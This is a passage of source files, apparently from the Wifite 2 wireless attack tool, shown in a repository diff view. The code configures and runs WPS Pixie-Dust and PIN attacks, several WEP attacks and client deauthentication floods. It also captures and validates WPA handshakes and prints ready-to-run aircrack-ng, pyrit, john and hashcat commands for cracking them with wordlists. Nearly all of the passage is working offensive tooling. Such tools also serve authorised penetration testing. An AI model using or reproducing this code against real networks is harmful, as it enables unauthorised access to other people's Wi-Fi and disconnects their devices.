Color.pl('\r{!} {O}--no-wps{R} set, ignoring WPS attack on {O}%s{W}' % self.target.essid)
self.success = False
return self.success
###################
# Pixie-Dust attack
if Configuration.use_bully:
# Bully: Pixie-dust
bully = Bully(self.target)
bully.run()
bully.stop()
if bully.crack_result is not None:
self.crack_result = bully.crack_result
self.success = True
return True
else:
reaver = Reaver(self.target)
if reaver.is_pixiedust_supported():
# Reaver: Pixie-dust
reaver = Reaver(self.target)
if reaver.run_pixiedust_attack():
self.crack_result = reaver.crack_result
self.success = True
return True
else:
Color.pl("{!} {R}your version of 'reaver' does not support the {O}WPS pixie-dust attack{W}")
return False

344
wifite/config.py Executable file
View File

@@ -0,0 +1,344 @@
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
from util.color import Color
from tools.macchanger import Macchanger
import os
class Configuration(object):
''' Stores configuration variables and functions for Wifite. '''
verbose = 0
initialized = False # Flag indicating config has been initialized
temp_dir = None # Temporary directory
version = 2.00
@staticmethod
def initialize(load_interface=True):
'''
Sets up default initial configuration values.
Also sets config values based on command-line arguments.
'''
# Only initialize this class once
if Configuration.initialized:
return
Configuration.initialized = True
Configuration.verbose = 0 # Verbosity level.
Configuration.print_stack_traces = True
Configuration.kill_conflicting_processes = False
Configuration.scan_time = 0 # Time to wait before attacking all targets
Configuration.all_targets = False # Run attacks against all targets automatically
Configuration.tx_power = 0 # Wifi transmit power (0 is default)
Configuration.interface = None
Configuration.target_channel = None # User-defined channel to scan
Configuration.target_essid = None # User-defined AP name
Configuration.target_bssid = None # User-defined AP BSSID
Configuration.five_ghz = False # Scan 5Ghz channels
Configuration.show_bssids = False # Show BSSIDs in targets list
Configuration.random_mac = False # Should generate a random Mac address at startup.
Configuration.no_deauth = False # Deauth hidden networks & WPA handshake targets
Configuration.num_deauths = 1 # Number of deauth packets to send to each target.
Configuration.encryption_filter = ['WEP', 'WPA', 'WPS']
# WEP variables
Configuration.wep_filter = False # Only attack WEP networks
Configuration.wep_pps = 600 # Packets per second
Configuration.wep_timeout = 600 # Seconds to wait before failing
Configuration.wep_crack_at_ivs = 10000 # Minimum IVs to start cracking
Configuration.require_fakeauth = False
Configuration.wep_restart_stale_ivs = 11 # Seconds to wait before restarting
# Aireplay if IVs don't increaes.
# "0" means never restart.
Configuration.wep_restart_aircrack = 30 # Seconds to give aircrack to crack
# before restarting the process.
Configuration.wep_crack_at_ivs = 10000 # Number of IVS to start cracking
# WPA variables
Configuration.wpa_filter = False # Only attack WPA networks
Configuration.wpa_deauth_timeout = 15 # Wait time between deauths
Configuration.wpa_attack_timeout = 500 # Wait time before failing
Configuration.wpa_handshake_dir = "hs" # Dir to store handshakes
Configuration.wpa_strip_handshake = False # Strip non-handshake packets
Configuration.ignore_old_handshakes = False # Always fetch a new handshake
# Default dictionary for cracking
Configuration.wordlist = None
wordlists = [
'/usr/share/wfuzz/wordlist/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt',
'/usr/share/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt',
'/usr/share/wordlists/fern-wifi/common.txt'
]
for wlist in wordlists:
if os.path.exists(wlist):
Configuration.wordlist = wlist
break
# WPS variables
Configuration.wps_filter = False # Only attack WPS networks
Configuration.no_wps = False # Do not use WPS attacks (Pixie-Dust & PIN attacks)
Configuration.wps_only = False # ONLY use WPS attacks on non-WEP networks
Configuration.use_bully = False # Use bully instead of reaver
Configuration.wps_pixie_timeout = 300 # Seconds to wait for PIN before WPS Pixie attack fails
Configuration.wps_pixie_step_timeout = 30 # Seconds to wait for a step to change before pixie fails
Configuration.wps_fail_threshold = 30 # Max number of failures
Configuration.wps_timeout_threshold = 30 # Max number of timeouts
Configuration.wps_skip_rate_limit = True # Skip rate-limited WPS APs
# Commands
Configuration.show_cracked = False
Configuration.check_handshake = None
Configuration.crack_handshake = False
# Overwrite config values with arguments (if defined)
Configuration.load_from_arguments()
if load_interface:
Configuration.get_interface()
@staticmethod
def get_interface():
if Configuration.interface is None:
# Interface wasn't defined, select it!
from tools.airmon import Airmon
Configuration.interface = Airmon.ask()
if Configuration.random_mac:
Macchanger.random()
@staticmethod
def load_from_arguments():
''' Sets configuration values based on Argument.args object '''
from args import Arguments
args = Arguments(Configuration).args
if args.random_mac:
Configuration.random_mac = True
Color.pl('{+} {C}option:{W} using {G}random mac address{W} when scanning & attacking')
if args.channel:
Configuration.target_channel = args.channel
Color.pl('{+} {C}option:{W} scanning for targets on channel {G}%s{W}' % args.channel)
if args.interface:
Configuration.interface = args.interface
Color.pl('{+} {C}option:{W} using wireless interface {G}%s{W}' % args.interface)
if args.target_bssid:
Configuration.target_bssid = args.target_bssid
Color.pl('{+} {C}option:{W} targeting BSSID {G}%s{W}' % args.target_bssid)
if args.five_ghz == True:
Configuration.five_ghz = True
Color.pl('{+} {C}option:{W} including {G}5Ghz networks{W} in scans')
if args.show_bssids == True:
Configuration.show_bssids = True
Color.pl('{+} {C}option:{W} showing {G}bssids{W} of targets during scan')
if args.no_deauth == True:
Configuration.no_deauth = True
Color.pl('{+} {C}option:{W} will {R}not{W} {O}deauth{W} clients during scans or captures')
if args.num_deauths and args.num_deauths > 0:
Configuration.num_deauths = args.num_deauths
Color.pl('{+} {C}option:{W} will send {G}%d{W} deauth packets when deauthing' % Configuration.num_deauths)
if args.target_essid:
Configuration.target_essid = args.target_essid
Color.pl('{+} {C}option:{W} targeting ESSID {G}%s{W}' % args.target_essid)
if args.scan_time:
Configuration.scan_time = args.scan_time
Color.pl('{+} {C}option:{W} ({G}pillage{W}) attack all targets after {G}%d{W}s' % args.scan_time)
if args.verbose:
Configuration.verbose = args.verbose
Color.pl('{+} {C}option:{W} verbosity level {G}%d{W}' % args.verbose)
if args.kill_conflicting_processes:
Configuration.kill_conflicting_processes = True
Color.pl('{+} {C}option:{W} kill conflicting processes {G}enabled{W}')
# WEP
if args.wep_filter:
Configuration.wep_filter = args.wep_filter
if args.wep_pps:
Configuration.wep_pps = args.wep_pps
Color.pl('{+} {C}option:{W} using {G}%d{W} packets-per-second on WEP attacks' % args.wep_pps)
if args.wep_timeout:
Configuration.wep_timeout = args.wep_timeout
Color.pl('{+} {C}option:{W} WEP attack timeout set to {G}%d seconds{W}' % args.wep_timeout)
if args.require_fakeauth:
Configuration.require_fakeauth = True
Color.pl('{+} {C}option:{W} fake-authentication is {G}required{W} for WEP attacks')
if args.wep_crack_at_ivs:
Configuration.wep_crack_at_ivs = args.wep_crack_at_ivs
Color.pl('{+} {C}option:{W} will start cracking WEP keys at {G}%d IVs{W}' % args.wep_crack_at_ivs)
if args.wep_restart_stale_ivs:
Configuration.wep_restart_stale_ivs = args.wep_restart_stale_ivs
Color.pl('{+} {C}option:{W} will restart aireplay after {G}%d seconds{W} of no new IVs' % args.wep_restart_stale_ivs)
if args.wep_restart_aircrack:
Configuration.wep_restart_aircrack = args.wep_restart_aircrack
Color.pl('{+} {C}option:{W} will restart aircrack every {G}%d seconds{W}' % args.wep_restart_aircrack)
# WPA
if args.wpa_filter:
Configuration.wpa_filter = args.wpa_filter
if args.wordlist:
if os.path.exists(args.wordlist):
Configuration.wordlist = args.wordlist
Color.pl('{+} {C}option:{W} using wordlist {G}%s{W} to crack WPA handshakes' % args.wordlist)
else:
Configuration.wordlist = None
Color.pl('{+} {C}option:{O} wordlist {R}%s{O} was not found, wifite will NOT attempt to crack handshakes' % args.wordlist)
if args.wpa_deauth_timeout:
Configuration.wpa_deauth_timeout = args.wpa_deauth_timeout
Color.pl('{+} {C}option:{W} will deauth WPA clients every {G}%d seconds{W}' % args.wpa_deauth_timeout)
if args.wpa_attack_timeout:
Configuration.wpa_attack_timeout = args.wpa_attack_timeout
Color.pl('{+} {C}option:{W} will stop WPA handshake capture after {G}%d seconds{W}' % args.wpa_attack_timeout)
if args.ignore_old_handshakes:
Configuration.ignore_old_handshakes = True
Color.pl("{+} {C}option:{W} will {O}ignore{W} existing handshakes (force capture)")
if args.wpa_handshake_dir:
Configuration.wpa_handshake_dir = args.wpa_handshake_dir
Color.pl('{+} {C}option:{W} will store handshakes to {G}%s{W}' % args.wpa_handshake_dir)
if args.wpa_strip_handshake:
Configuration.wpa_strip_handshake = True
Color.pl("{+} {C}option:{W} will {G}strip{W} non-handshake packets")
# WPS
if args.wps_filter:
Configuration.wps_filter = args.wps_filter
if args.wps_only:
Configuration.wps_only = True
Color.pl('{+} {C}option:{W} will *only* attack non-WEP networks with {G}WPS attacks{W} (no handshake capture)')
if args.no_wps:
Configuration.no_wps = args.no_wps
Color.pl('{+} {C}option:{W} will {O}never{W} use {C}WPS attacks{W} (Pixie-Dust/PIN) on targets')
if args.use_bully:
Configuration.use_bully = args.use_bully
Color.pl('{+} {C}option:{W} use {C}bully{W} instead of {C}reaver{W} for WPS Attacks')
if args.wps_pixie_timeout:
Configuration.wps_pixie_timeout = args.wps_pixie_timeout
Color.pl('{+} {C}option:{W} WPS pixie-dust attack will timeout after {G}%d seconds{W}' % args.wps_pixie_timeout)
if args.wps_pixie_step_timeout:
Configuration.wps_pixie_step_timeout = args.wps_pixie_step_timeout
Color.pl('{+} {C}option:{W} Any step in the pixie-dust attack will timeout after {G}%d seconds{W}' % args.wps_pixie_step_timeout)
if args.wps_fail_threshold:
Configuration.wps_fail_threshold = args.wps_fail_threshold
Color.pl('{+} {C}option:{W} will stop WPS attack after {G}%d failures{W}' % args.wps_fail_threshold)
if args.wps_timeout_threshold:
Configuration.wps_timeout_threshold = args.wps_timeout_threshold
Color.pl('{+} {C}option:{W} will stop WPS attack after {G}%d timeouts{W}' % args.wps_timeout_threshold)
if args.wps_skip_rate_limit == False:
Configuration.wps_skip_rate_limit = False
Color.pl('{+} {C}option:{W} will {G}continue{W} WPS attacks when rate-limited')
# Adjust encryption filter
Configuration.encryption_filter = []
if Configuration.wep_filter: Configuration.encryption_filter.append('WEP')
if Configuration.wpa_filter: Configuration.encryption_filter.append('WPA')
if Configuration.wps_filter: Configuration.encryption_filter.append('WPS')
if len(Configuration.encryption_filter) == 3:
Color.pl('{+} {C}option:{W} targeting {G}all encrypted networks{W}')
elif len(Configuration.encryption_filter) == 0:
# Default to scan all types
Configuration.encryption_filter = ['WEP', 'WPA', 'WPS']
else:
Color.pl('{+} {C}option:{W} ' +
'targeting {G}%s-encrypted{W} networks'
% '/'.join(Configuration.encryption_filter))
# Adjust WEP attack list
Configuration.wep_attacks = []
import sys
seen = set()
for arg in sys.argv:
if arg in seen: continue
seen.add(arg)
if arg == '-arpreplay': Configuration.wep_attacks.append('replay')
if arg == '-fragment': Configuration.wep_attacks.append('fragment')
if arg == '-chopchop': Configuration.wep_attacks.append('chopchop')
if arg == '-caffelatte': Configuration.wep_attacks.append('caffelatte')
if arg == '-p0841': Configuration.wep_attacks.append('p0841')
if arg == '-hirte': Configuration.wep_attacks.append('hirte')
if len(Configuration.wep_attacks) == 0:
# Use all attacks
Configuration.wep_attacks = ['replay',
'fragment',
'chopchop',
'caffelatte',
'p0841',
'hirte']
elif len(Configuration.wep_attacks) > 0:
Color.pl('{+} {C}option:{W} using {G}%s{W} WEP attacks'
% '{W}, {G}'.join(Configuration.wep_attacks))
# Commands
if args.cracked: Configuration.show_cracked = True
if args.check_handshake: Configuration.check_handshake = args.check_handshake
if args.crack_handshake: Configuration.crack_handshake = True
@staticmethod
def temp(subfile=''):
''' Creates and/or returns the temporary directory '''
if Configuration.temp_dir is None:
Configuration.temp_dir = Configuration.create_temp()
return Configuration.temp_dir + subfile
@staticmethod
def create_temp():
''' Creates and returns a temporary directory '''
from tempfile import mkdtemp
tmp = mkdtemp(prefix='wifite')
if not tmp.endswith(os.sep):
tmp += os.sep
return tmp
@staticmethod
def delete_temp():
''' Remove temp files and folder '''
if Configuration.temp_dir is None: return
if os.path.exists(Configuration.temp_dir):
for f in os.listdir(Configuration.temp_dir):
os.remove(Configuration.temp_dir + f)
os.rmdir(Configuration.temp_dir)
@staticmethod
def exit_gracefully(code=0):
''' Deletes temp and exist with the given code '''
Configuration.delete_temp()
Macchanger.reset_if_changed()
from tools.airmon import Airmon
if hasattr(Configuration, "interface") and Configuration.interface is not None and Airmon.base_interface is not None:
Airmon.stop(Configuration.interface)
Airmon.put_interface_up(Airmon.base_interface)
if Airmon.killed_network_manager:
Airmon.start_network_manager()
exit(code)
@staticmethod
def dump():
''' (Colorful) string representation of the configuration '''
from util.color import Color
max_len = 20
for key in Configuration.__dict__.keys():
max_len = max(max_len, len(key))
result = Color.s('{W}%s Value{W}\n' % 'Configuration Key'.ljust(max_len))
result += Color.s('{W}%s------------------{W}\n' % ('-' * max_len))
for (key,val) in sorted(Configuration.__dict__.iteritems()):
if key.startswith('__') or type(val) == staticmethod or val is None:
continue
result += Color.s("{G}%s {W} {C}%s{W}\n" % (key.ljust(max_len),val))
return result
if __name__ == '__main__':
Configuration.initialize(False)
print Configuration.dump()

135
wifite/crack.py Executable file
View File

@@ -0,0 +1,135 @@
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
from util.process import Process
from util.color import Color
from config import Configuration
from model.result import CrackResult
from datetime import datetime
import os
class CrackHandshake(object):
def __init__(self):
self.wordlist = Configuration.wordlist or "path_to_wordlist_here"
handshake = self.choose_handshake()
self.crack_handshake(handshake)
def crack_handshake(self, handshake):
cap_file = handshake["handshake_file"]
bssid = handshake["bssid"]
Color.pl("\n Below are commands to crack the handshake {C}%s{W}:" % cap_file)
self.print_aircrack(cap_file, bssid)
self.print_pyrit(cap_file, bssid)
self.print_john(cap_file)
self.print_oclhashcat(cap_file)
Color.pl("")
# TODO: cowpatty, oclhashcat
def print_aircrack(self, cap_file, bssid):
Color.pl("")
if not Process.exists("aircrack-ng"):
Color.pl(" {R}aircrack-ng not found.");
Color.pl(" {O}More info on installing {R}Aircrack{O} here: {C}https://www.aircrack-ng.org/downloads.html{W}");
return
Color.pl(" {O}# AIRCRACK: CPU-based cracking. Slow.")
Color.pl(" {G}aircrack-ng {W}-a {C}2 {W}-b {C}%s {W}-w {C}%s %s{W}" % (bssid, self.wordlist, cap_file))
def print_pyrit(self, cap_file, bssid):
Color.pl("")
if not Process.exists("pyrit"):
Color.pl(" {R}pyrit not found.");
Color.pl(" {O}More info on installing {R}Pyrit{O} here: {C}https://github.com/JPaulMora/Pyrit{W}");
return
Color.pl(" {O}# PYRIT: GPU-based cracking. Fast.")
Color.pl(" {G}pyrit {W}-b {C}%s {W}-i {C}%s {W}-r {C}%s {W}attack_passthrough{W}" % (bssid, self.wordlist, cap_file))
def print_john(self, cap_file):
Color.pl("")
if not Process.exists("john"):
Color.pl(" {R}john not found.");
Color.pl(" {O}More info on installing {R}John The Ripper{O} here: {C}http://www.openwall.com/john/{W}");
return
Color.pl(" {O}# JOHN: CPU or GPU-based cracking. Fast.")
Color.pl(" {O}# Use --format=wpapsk-cuda (or wpapsk-opengl) to enable GPU acceleration")
Color.pl(" {O}# See http://openwall.info/wiki/john/WPA-PSK for more info on this process")
Color.pl(" {G}aircrack-ng {W}-J hccap {C}%s{W}" % cap_file)
Color.pl(" {G}hccap2john {C}hccap.hccap {W}> {C}hccap.john{W}")
Color.pl(" {G}john {W}--wordlist {C}\"%s\" {W}--format=wpapsk {C}\"hccap.john\"{W}" % (self.wordlist))
def print_oclhashcat(self, cap_file):
Color.pl("")
if not Process.exists("hashcat"):
Color.pl(" {R}hashcat {O}not found.");
Color.pl(" {O}More info on installing {R}hashcat{O} here: {C}https://hashcat.net/hashcat/");
return
Color.pl(" {O}# HASHCAT: GPU-based cracking. Fast.")
Color.pl(" {O}# See {C}https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2 {O}for more info")
hccapx_file = "/tmp/generated.hccapx"
cap2hccapx = "/usr/lib/hashcat-utils/cap2hccapx.bin"
if os.path.exists(cap2hccapx):
Color.pl(" {G}%s {W}%s {C}%s{W}" % (cap2hccapx, cap_file, hccapx_file))
else:
Color.pl(" {O}# Install hashcat-utils: {C}https://hashcat.net/wiki/doku.php?id=hashcat_utils")
Color.pl(" {C}cap2hccapx.bin {W}%s {C}%s{W}" % (cap_file, hccapx_file))
Color.pl(" {O}# OR visit https://hashcat.net/cap2hccapx to generate a .hccapx file{W}")
Color.pl(" {O}# Then click BROWSE -> %s -> CONVERT and save to %s" % (cap_file, hccapx_file))
Color.pl(" {G}hashcat {W}-m 2500 {C}%s %s{W}" % (hccapx_file, self.wordlist))
def choose_handshake(self):
hs_dir = Configuration.wpa_handshake_dir
Color.pl("{+} Listing captured handshakes from {C}%s{W}\n" % os.path.realpath(hs_dir))
handshakes = []
for hs_file in os.listdir(hs_dir):
if not hs_file.endswith('.cap') or hs_file.count("_") != 3:
continue
name, essid, bssid, date = hs_file.split("_")
if name != 'handshake':
continue
handshakes.append({
'essid': essid,
'bssid': bssid.replace('-', ':'),
'date': date.replace('.cap', '').replace('T', ' '),
'handshake_file': os.path.realpath(os.path.join(hs_dir, hs_file))
})
handshakes.sort(key=lambda x: x['date'], reverse=True)
if len(handshakes) == 0:
raise Exception("No handshakes found in %s" % os.path.realpath(hs_dir))
# Handshakes Header
max_essid_len = max(max([len(hs["essid"]) for hs in handshakes]), len('(truncated) ESSDID'))
Color.p(" NUM")
Color.p(" " + "ESSID (truncated)".ljust(max_essid_len))
Color.p(" " + "BSSID".ljust(17))
Color.p(" DATE CAPTURED\n")
Color.p(" ---")
Color.p(" " + ("-" * max_essid_len))
Color.p(" " + ("-" * 17))
Color.p(" " + ("-" * 19) + "\n")
# Print all handshakes
for idx, hs in enumerate(handshakes, start=1):
bssid = hs["bssid"]
essid = hs["essid"]
date = hs["date"]
Color.p(" {G}%s{W}" % str(idx).rjust(3))
Color.p(" {C}%s{W}" % essid.ljust(max_essid_len))
Color.p(" {O}%s{W}" % bssid)
Color.p(" {W}%s{W}\n" % date)
# Get number from user
hs_index = raw_input(Color.s("\n{+} Select handshake num to crack ({G}1-%d{W}): " % len(handshakes)))
if not hs_index.isdigit():
raise ValueError("Handshake NUM must be numeric, got (%s)" % hs_index)
hs_index = int(hs_index)
if hs_index < 1 or hs_index > len(handshakes):
raise Exception("Handshake NUM must be between 1 and %d" % len(handshakes))
return handshakes[hs_index - 1]

0
wifite/model/__init__.py Normal file
View File

47
wifite/model/attack.py Executable file
View File

@@ -0,0 +1,47 @@
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
import time
class Attack(object):
'''
Contains functionality common to all attacks
'''
target_wait = 20
def __init__(self, target):
self.target = target
def run(self):
raise Exception("Unimplemented method: run")
def wait_for_target(self, airodump):
'''
Waits for target to appear in airodump
'''
start_time = time.time()
targets = airodump.get_targets(apply_filter=False)
while len(targets) == 0:
# Wait for target to appear in airodump.
if int(time.time() - start_time) > Attack.target_wait:
raise Exception(
"Target did not appear after %d seconds, stopping"
% Attack.target_wait)
time.sleep(1)
targets = airodump.get_targets()
continue
# Ensure this target was seen by airodump
airodump_target = None
for t in targets:
if t.bssid == self.target.bssid:
airodump_target = t
break
if airodump_target is None:
raise Exception(
'Could not find target (%s) in airodump' % self.target.bssid)
return airodump_target

42
wifite/model/client.py Executable file
View File

@@ -0,0 +1,42 @@
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
class Client(object):
'''
Holds details for a "Client" - a wireless device (e.g. computer)
that is associated with an Access Point (e.g. router)
'''
def __init__(self, fields):
'''
Initializes & stores client info based on fields.
Args:
Fields - List of strings
INDEX KEY
0 Station MAC (client's MAC address)
1 First time seen,
2 Last time seen,
3 Power,
4 # packets,
5 BSSID, (Access Point's MAC address)
6 Probed ESSIDs
'''
self.station = fields[0].strip()
self.power = int(fields[3].strip())
self.packets = int(fields[4].strip())
self.bssid = fields[5].strip()
def __str__(self):
''' String representation of a Client '''
result = ''
for (key,value) in self.__dict__.iteritems():
result += key + ': ' + str(value)
result += ', '
return result
if __name__ == '__main__':
fields = 'AA:BB:CC:DD:EE:FF, 2015-05-27 19:43:47, 2015-05-27 19:43:47, -67, 2, (not associated) ,HOME-ABCD'.split(',')
c = Client(fields)
print c

366
wifite/model/handshake.py Executable file
View File

@@ -0,0 +1,366 @@
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
from ..util.process import Process
from ..util.color import Color
import re
import os
class Handshake(object):
def __init__(self, capfile, bssid=None, essid=None):
self.capfile = capfile
self.bssid = bssid
self.essid = essid
def divine_bssid_and_essid(self):
'''
Tries to find BSSID and ESSID from cap file.
Sets this instances 'bssid' and 'essid' instance fields.
'''
# Get list of bssid/essid pairs from cap file
pairs = self.tshark_bssid_essid_pairs()
if len(pairs) == 0:
# Find bssid/essid pairs that have handshakes in Pyrit
pairs = self.pyrit_handshakes()
if len(pairs) == 0 and not self.bssid and not self.essid:
# Tshark and Pyrit failed us, nothing else we can do.
raise Exception("Cannot find BSSID or ESSID in cap file")
if not self.essid and not self.bssid:
# We do not know the bssid nor the essid
# TODO: Display menu for user to select from list
# HACK: Just use the first one we see
self.bssid = pairs[0][0]
self.essid = pairs[0][1]
Color.pl('{!} {O}Warning{W}:' +
' {O}Arbitrarily selected' +
' {R}bssid{O} {C}%s{O} and {R}essid{O} "{C}%s{O}"{W}'
% (self.bssid, self.essid))
elif not self.bssid:
# We already know essid
for (bssid, essid) in pairs:
if self.essid == essid:
Color.pl('{+} Discovered bssid {C}%s{W}' % bssid)
self.bssid = bssid
break
elif not self.essid:
# We already know bssid
for (bssid, essid) in pairs:
if self.bssid.lower() == bssid.lower():
Color.pl('{+} Discovered essid "{C}%s{W}"' % essid)
self.essid = essid
break
def has_handshake(self):
if not self.bssid or not self.essid:
self.divine_bssid_and_essid()
if len(self.tshark_handshakes()) > 0:
return True
if len(self.pyrit_handshakes()) > 0:
return True
# XXX: Disabling these checks since I don't think they are reliable.
'''
if len(self.cowpatty_handshakes()) > 0:
return True
if len(self.aircrack_handshakes()) > 0:
return True
'''
return False
def tshark_bssid_essid_pairs(self):
'''
Scrapes capfile for beacon frames indicating the ESSID.
Returns list of tuples: (bssid,essid)
'''
if not Process.exists('tshark'):
raise Exception('tshark is required to find ESSID')
essids = set()
# Extract beacon frames from cap file
cmd = [
'tshark',
'-r', self.capfile,
'-R', 'wlan.fc.type_subtype == 0x08 || wlan.fc.type_subtype == 0x05',
'-2', # tshark: -R without -2 is deprecated.
'-n'
]
proc = Process(cmd, devnull=False)
for line in proc.stdout().split('\n'):
# Extract src, dst, and essid
mac_regex = ('[a-zA-Z0-9]{2}:' * 6)[:-1]
match = re.search('(%s) [^ ]* (%s).*.*SSID=(.*)$'
% (mac_regex, mac_regex), line)
if match is None:
# Line doesn't contain src, dst, ssid
continue
(src, dst, essid) = match.groups()
if dst.lower() == "ff:ff:ff:ff:ff:ff": continue
if self.bssid:
# We know the BSSID, only return the ESSID for this BSSID.
if self.bssid.lower() == src.lower() or self.bssid.lower() == dst.lower():
essids.add((src, essid))
else:
# We do not know BSSID, add it.
essids.add((src, essid))
# Return list of tuples
return [x for x in essids]
def tshark_command(self):
return [
'tshark',
'-r', self.capfile,
'-R', 'eapol',
'-n',
'-2' # 2-pass filtering, required when using -R in newer versions of tshark
]
def tshark_handshakes(self):
''' Returns True if tshark identifies a handshake, False otherwise '''
if not Process.exists('tshark'):
return []
target_client_msg_nums = {}
# Dump EAPOL packets
proc = Process(self.tshark_command(), devnull=False)
for line in proc.stdout().split('\n'):
# Extract source mac, destination mac, and message numbers
mac_regex = ('[a-zA-Z0-9]{2}:' * 6)[:-1]
match = re.search('(%s) (?:->|→) (%s).*Message.*(\d).*(\d)'
% (mac_regex, mac_regex), line)
if match is None:
# Line doesn't contain src, dst, Message numbers
continue
(src, dst, index, ttl) = match.groups()
# "Message (index) of (ttl)"
index = int(index)
ttl = int(ttl)
if ttl != 4:
# Must be a 4-way handshake
continue
# Identify the client and target MAC addresses
if index % 2 == 1:
# First and Third messages
target = src
client = dst
else:
# Second and Fourth messages
client = src
target = dst
if self.bssid and self.bssid.lower() != target.lower():
# We know the BSSID and this msg was not for the target
continue
target_client_key = '%s,%s' % (target, client)
# Ensure all 4 messages are:
# Between the same client and target
# In numeric & chronological order (1,2,3,4)
if index == 1:
# First message, add to dict
target_client_msg_nums[target_client_key] = 1
elif target_client_key not in target_client_msg_nums:
# Not first message, we haven't gotten the first message yet
continue
elif index - 1 != target_client_msg_nums[target_client_key]:
# Message is not in sequence
continue
else:
# Message is > 1 and is received in-order
target_client_msg_nums[target_client_key] = index
bssids = set()
# Check if we have all 4 messages for the handshake between the same MACs
for (client_target, num) in target_client_msg_nums.iteritems():
if num == 4:
# We got a handshake!
bssid = client_target.split(',')[0]
bssids.add(bssid)
return [(bssid, None) for bssid in bssids]
def cowpatty_command(self):
return [
'cowpatty',
'-r', self.capfile,
'-s', self.essid,
'-c' # Check for handshake
]
def cowpatty_handshakes(self):
''' Returns True if cowpatty identifies a handshake, False otherwise '''
if not Process.exists('cowpatty'):
return []
if not self.essid:
return [] # We need a essid for cowpatty :(
proc = Process(self.cowpatty_command(), devnull=False)
for line in proc.stdout().split('\n'):
if 'Collected all necessary data to mount crack against WPA' in line:
return [(None, self.essid)]
return []
def pyrit_command(self):
return [
'pyrit',
'-r', self.capfile,
'analyze'
]
def pyrit_handshakes(self):
''' Returns True if pyrit identifies a handshake, False otherwise '''
if not Process.exists('pyrit'):
return []
bssid_essid_pairs = set()
hit_target = False
current_bssid = self.bssid
current_essid = self.essid
proc = Process(self.pyrit_command(), devnull=False)
for line in proc.stdout().split('\n'):
mac_regex = ('[a-zA-Z0-9]{2}:' * 6)[:-1]
match = re.search("^#\d+: AccessPoint (%s) \('(.*)'\):$"
% (mac_regex), line)
if match:
# We found a BSSID and ESSID
(bssid, essid) = match.groups()
# Compare to what we're searching for
if self.bssid and self.bssid.lower() == bssid.lower():
current_essid = essid
hit_target = True
continue
elif self.essid and self.essid == essid:
current_bssid = bssid
hit_target = True
continue
elif not self.bssid and not self.essid:
# We don't know either
current_bssid = bssid
current_essid = essid
hit_target = True
else:
# This AccessPoint is not what we're looking for
hit_Target = False
else:
# Line does not contain AccessPoint
if hit_target and ', good' in line:
bssid_essid_pairs.add( (current_bssid, current_essid) )
return [x for x in bssid_essid_pairs]
def aircrack_command(self):
return 'echo "" | aircrack-ng -a 2 -w - -b %s "%s"' % (self.bssid, self.capfile)
def aircrack_handshakes(self):
if not self.bssid:
return []
(stdout, stderr) = Process.call(self.aircrack_command())
if 'passphrase not in dictionary' in stdout.lower():
return [(self.bssid, None)]
else:
return []
def analyze(self):
self.divine_bssid_and_essid()
pairs = self.tshark_handshakes()
Handshake.print_pairs(pairs, self.capfile, 'tshark')
pairs = self.pyrit_handshakes()
Handshake.print_pairs(pairs, self.capfile, 'pyrit')
pairs = self.cowpatty_handshakes()
Handshake.print_pairs(pairs, self.capfile, 'cowpatty')
pairs = self.aircrack_handshakes()
Handshake.print_pairs(pairs, self.capfile, 'aircrack')
def strip(self, outfile=None):
# XXX: This method might break aircrack-ng, use at own risk.
'''
Strips out packets from handshake that aren't necessary to crack.
Leaves only handshake packets and SSID broadcast (for discovery).
Args:
outfile - Filename to save stripped handshake to.
If outfile==None, overwrite existing self.capfile.
'''
if not outfile:
outfile = self.capfile + '.temp'
replace_existing_file = True
else:
replace_existing_file = False
cmd = [
'tshark',
'-r', self.capfile, # input file
'-R', 'wlan.fc.type_subtype == 0x08 || wlan.fc.type_subtype == 0x05 || eapol', # filter
'-2', # tshark: -R without -2 is deprecated.
'-w', outfile # output file
]
proc = Process(cmd)
proc.wait()
if replace_existing_file:
from shutil import copy
copy(outfile, self.capfile)
os.remove(outfile)
pass
@staticmethod
def print_pairs(pairs, capfile, tool=None):
'''
Prints out BSSID and/or ESSID given a list of tuples (bssid,essid)
'''
tool_str = ''
if tool:
tool_str = '{C}%s{W}: ' % tool.rjust(8)
if len(pairs) == 0:
Color.pl("{!} %s.cap file {R}does not{O} contain a valid handshake{W}"
% (tool_str))
return
for (bssid, essid) in pairs:
if bssid and essid:
Color.pl('{+} %s.cap file' % tool_str +
' {G}contains a valid handshake{W}' +
' for {G}%s{W} ({G}%s{W})' % (bssid, essid))
elif bssid:
Color.pl('{+} %s.cap file' % tool_str +
' {G}contains a valid handshake{W}' +
' for {G}%s{W}' % bssid)
elif essid:
Color.pl('{+} %s.cap file' % tool_str +
' {G}contains a valid handshake{W}' +
' for ({G}%s{W})' % essid)
if __name__ == '__main__':
hs = Handshake('./tests/files/handshake_exists.cap', bssid='A4:2B:8C:16:6B:3A')
hs.analyze()
print "has_hanshake() =", hs.has_handshake()

102
wifite/model/interface.py Executable file
View File

@@ -0,0 +1,102 @@
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
from wifite.util.color import Color
import re
class Interface(object):
'''
Represents an 'interface' known by airmon-ng
'''
# Max length of fields.
# Used for printing a table of interfaces.
PHY_LEN = 6
NAME_LEN = 12
DRIVER_LEN = 20
CHIPSET_LEN = 30
def __init__(self, fields):
'''
Initializes & stores info about an interface.
Args:
Fields - list of fields
0: PHY
1: NAME
2: DRIVER
3: CHIPSET
'''
if len(fields) == 3:
phy = 'phyX'
match = re.search(' - \[(phy\d+)\]', fields[2])
if match:
phy = match.groups()[0]
fields[2] = fields[2][:fields[2].rfind(' - [')]
fields.insert(0, phy)
if len(fields) != 4:
raise Exception("Expected 4, got %d in %s" % (len(fields), fields))
self.phy = fields[0].strip()
self.name = fields[1].strip()
self.driver = fields[2].strip()
self.chipset = fields[3].strip()
def __str__(self):
''' Colored string representation of interface '''
s = Color.s("{W}%s" % self.phy)
s += ' ' * max(Interface.PHY_LEN - len(self.phy), 0)
s += Color.s("{G}%s" % self.name)
s += ' ' * max(Interface.NAME_LEN - len(self.name), 0)
s += Color.s("{C}%s" % self.driver)
s += ' ' * max(Interface.DRIVER_LEN - len(self.driver), 0)
s += Color.s("{W}%s" % self.chipset)
